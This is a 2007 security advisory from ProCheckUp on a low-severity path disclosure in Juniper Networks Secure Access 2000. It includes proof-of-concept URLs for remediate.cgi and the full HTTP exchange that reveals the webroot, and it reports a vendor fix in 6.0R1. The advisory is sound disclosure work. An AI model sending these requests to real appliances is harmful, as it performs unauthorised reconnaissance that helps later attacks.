Webroot disclosure on Juniper Networks Secure Access 2000

Vulnerability found:
06 December 2007

Vendor informed:
12 December 2007

Severity level:
Low

Credits:
Richard Brain of ProCheckUp Ltd (www.procheckup.com)

Description:
By simply requesting the 'remediate.cgi' script omitting certain parameters, the web server returns the physical path of the webroot ('/home/webserver/htdocs/') within a "Execute failed" error message.

Consequences

A remote attacker could recover information with regards to the target site's directory structure.

This kind of information might be useful to attackers in certain scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.

BID

28037

Successfully tested on

Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)

Proof of concept:
https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth

{att:bold}- COMPLETE HTTP REQUEST{att:/bold}

GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*

{att:bold}- COMPLETE HTTP RESPONSE{att:/bold}

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>

<BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1

How to fix:
Juniper Networks was aware of this issue which they addressed on version 6.0R1. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.

References:
http://www.procheckup.com/research/views/vulnerabilities

http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/

Legal:
Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.